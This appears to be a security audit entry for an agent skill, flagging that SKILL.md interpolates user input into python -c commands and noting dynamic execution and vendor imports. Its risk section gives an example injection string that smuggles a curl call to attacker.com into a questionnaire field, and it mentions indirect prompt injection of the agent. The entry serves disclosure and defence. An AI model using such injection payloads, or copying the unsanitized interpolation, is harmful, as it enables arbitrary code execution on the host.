The Agent Skills Directory

[COMMAND_EXECUTION]: The skill constructs a Python script by interpolating a user-provided value into the <BANK> placeholder inside a python -c command.
Evidence: In SKILL.md, Step 3 shows bank_name = '<BANK>' being placed inside a multi-line Python string executed via the shell.
Risk: A malicious user or an indirect prompt injection could provide a crafted input for the questionnaire choice (e.g., sig_lite'; import os; os.system('curl attacker.com'); #) to achieve arbitrary code execution on the host machine.
[DYNAMIC_EXECUTION]: The skill uses Python's -c flag to execute dynamically generated code blocks at runtime.
Evidence: SKILL.md contains multiple blocks where <PYTHON_CMD> -c "..." is used to run Python logic for database access and questionnaire processing.
Context: While this is a common pattern for agent skills, the inclusion of unsanitized user input into these execution blocks increases the security risk.
[REMOTE_CODE_EXECUTION]: The skill relies on the execution of Python code that imports vendor-specific libraries (shasta.*).
Evidence: It imports shasta.db.schema, shasta.questionnaire.engine, etc., in SKILL.md.
Analysis: These are likely internal packages provided by the skill author (transilienceai). No external or unauthorized remote downloads were detected.

questionnaire